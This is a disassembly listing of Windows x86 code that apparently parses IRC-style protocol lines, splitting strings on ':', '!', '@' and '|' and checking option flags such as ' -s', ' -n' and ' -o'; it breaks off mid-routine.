		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	short loc_410645
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41062D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015E1


loc_41062D:				; CODE XREF: sub_40FE30+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410645:				; CODE XREF: sub_40FE30+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410680
		mov	al, byte_449804
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410684


loc_410680:				; CODE XREF: sub_40FE30+840j
		mov	[esp+20h+var_D], bl


loc_410684:				; CODE XREF: sub_40FE30+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410991
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_4106E2
		mov	ecx, eax
		call	sub_402072


loc_4106E2:				; CODE XREF: sub_40FE30+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41070E
		mov	ecx, eax
		call	sub_4010BE


loc_41070E:				; CODE XREF: sub_40FE30+8D5j
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401AAF
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_41097C


loc_41076F:				; CODE XREF: sub_40FE30+B46j
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410797
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410799
; ---------------------------------------------------------------------------


loc_410797:				; CODE XREF: sub_40FE30+95Aj
		xor	esi, esi


loc_410799:				; CODE XREF: sub_40FE30+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4107CB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4107CF
; ---------------------------------------------------------------------------


loc_4107CB:				; CODE XREF: sub_40FE30+98Cj
		mov	[esp+20h+var_C], ebx


loc_4107CF:				; CODE XREF: sub_40FE30+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4107F2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_4107F8
; ---------------------------------------------------------------------------


loc_4107F2:				; CODE XREF: sub_40FE30+9B7j
		mov	[esi+93h], bl


loc_4107F8:				; CODE XREF: sub_40FE30+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410813
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410819
; ---------------------------------------------------------------------------


loc_410813:				; CODE XREF: sub_40FE30+9D8j
		mov	[esi+94h], bl


loc_410819:				; CODE XREF: sub_40FE30+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410834
		mov	byte ptr [esi+95h], 1
		jmp	short loc_41083A
; ---------------------------------------------------------------------------


loc_410834:				; CODE XREF: sub_40FE30+9F9j
		mov	[esi+95h], bl


loc_41083A:				; CODE XREF: sub_40FE30+A02j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_448F30
		lea	ecx, [esi+54h]
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esi+3Fh]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410929
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410929:				; CODE XREF: sub_40FE30+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013DE
		inc	edi
		push	offset asc_4445EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41076F


loc_41097C:				; CODE XREF: sub_40FE30+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410991:				; CODE XREF: sub_40FE30+86Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490C8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410CAB
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410A0B
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410A0D
; ---------------------------------------------------------------------------


loc_410A0B:				; CODE XREF: sub_40FE30+BCEj
		xor	esi, esi


loc_410A0D:				; CODE XREF: sub_40FE30+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410A3C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410A3E
; ---------------------------------------------------------------------------


loc_410A3C:				; CODE XREF: sub_40FE30+BFFj
		xor	edi, edi


loc_410A3E:				; CODE XREF: sub_40FE30+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A60
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410A66
; ---------------------------------------------------------------------------


loc_410A60:				; CODE XREF: sub_40FE30+C25j
		mov	[esi+95h], bl


loc_410A66:				; CODE XREF: sub_40FE30+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A81
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410A87
; ---------------------------------------------------------------------------


loc_410A81:				; CODE XREF: sub_40FE30+C46j
		mov	[esi+93h], bl


loc_410A87:				; CODE XREF: sub_40FE30+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410AA2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410AA8
; ---------------------------------------------------------------------------


loc_410AA2:				; CODE XREF: sub_40FE30+C67j
		mov	[esi+94h], bl


loc_410AA8:				; CODE XREF: sub_40FE30+C70j
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C58 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FDC
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410C7D
		add	eax, 2
		push	eax
		jmp	short loc_410C82
; ---------------------------------------------------------------------------


loc_410C7D:				; CODE XREF: sub_40FE30+E45j
		push	offset byte_448F30


loc_410C82:				; CODE XREF: sub_40FE30+E4Bj
		mov	ecx, esi
		call	sub_4015E1
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410C9F
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410C9F:				; CODE XREF: sub_40FE30+E64j
		mov	ecx, edi
		call	sub_4013DE
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410CAB:				; CODE XREF: sub_40FE30+BADj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490EC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410E80
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	edx
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410D72
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	eax
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40212B


loc_410D72:				; CODE XREF: sub_40FE30+EF3j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_4E8E45
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4111F7
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401870
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4493ED
		mov	[ebp+16h], bl
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_410E80:				; CODE XREF: sub_40FE30+EC7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411038
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401870
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		mov	esi, dword_511B04
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411023
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41100F
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41100F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410FEB
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FDC


loc_410FEB:				; CODE XREF: sub_40FE30+11A9j
		push	offset byte_4E8E45
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41100F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E8E45
		push	edx
		call	sub_401FDC


loc_41100F:				; CODE XREF: sub_40FE30+1173j
					; sub_40FE30+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411023:				; CODE XREF: sub_40FE30+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4111F7
; ---------------------------------------------------------------------------


loc_411038:				; CODE XREF: sub_40FE30+109Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F0
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4110BF
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449100
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4110C4


loc_4110BF:				; CODE XREF: sub_40FE30+1238j
		mov	[esp+20h+var_D], 1


loc_4110C4:				; CODE XREF: sub_40FE30+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4111F7
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4111F7
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40212B
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_4111F7
; ---------------------------------------------------------------------------


loc_4111F0:				; CODE XREF: sub_40FE30+391j
		mov	ecx, ebp
		call	sub_401D20


loc_4111F7:				; CODE XREF: sub_40FE30+1D3j
					; sub_40FE30+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_40FE72


loc_411200:				; CODE XREF: sub_40FE30+3Cj
					; sub_40FE30+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_40FE30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411730	proc near		; CODE XREF: sub_4019E2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401979
		test	[esp+4+arg_0], 1
		jz	short loc_411748
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411748:				; CODE XREF: sub_411730+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411730	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411760	proc near		; CODE XREF: sub_401A19j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411760
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411786
		lea	edi, [esi+11h]
		jmp	short loc_411788
; ---------------------------------------------------------------------------


loc_411786:				; CODE XREF: sub_411760+1Fj
		xor	edi, edi


loc_411788:				; CODE XREF: sub_411760+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_411760	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_4117DC
		lea	ebx, [esi+11h]
		jmp	short loc_4117DE
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: ___:004117D5j
		xor	ebx, ebx


loc_4117DE:				; CODE XREF: ___:004117DAj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_41183B
		lea	ebx, [esi+11h]
		jmp	short loc_41183D
; ---------------------------------------------------------------------------


loc_41183B:				; CODE XREF: ___:00411834j
		xor	ebx, ebx


loc_41183D:				; CODE XREF: ___:00411839j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017EE
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411890
		lea	ebx, [esi+11h]
		jmp	short loc_411892
; ---------------------------------------------------------------------------


loc_411890:				; CODE XREF: ___:00411889j
		xor	ebx, ebx


loc_411892:				; CODE XREF: ___:0041188Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017EE
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_4118E5
		lea	ebx, [esi+11h]
		jmp	short loc_4118E7
; ---------------------------------------------------------------------------


loc_4118E5:				; CODE XREF: ___:004118DEj
		xor	ebx, ebx


loc_4118E7:				; CODE XREF: ___:004118E3j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411938
		lea	ebx, [esi+11h]
		jmp	short loc_41193A
; ---------------------------------------------------------------------------


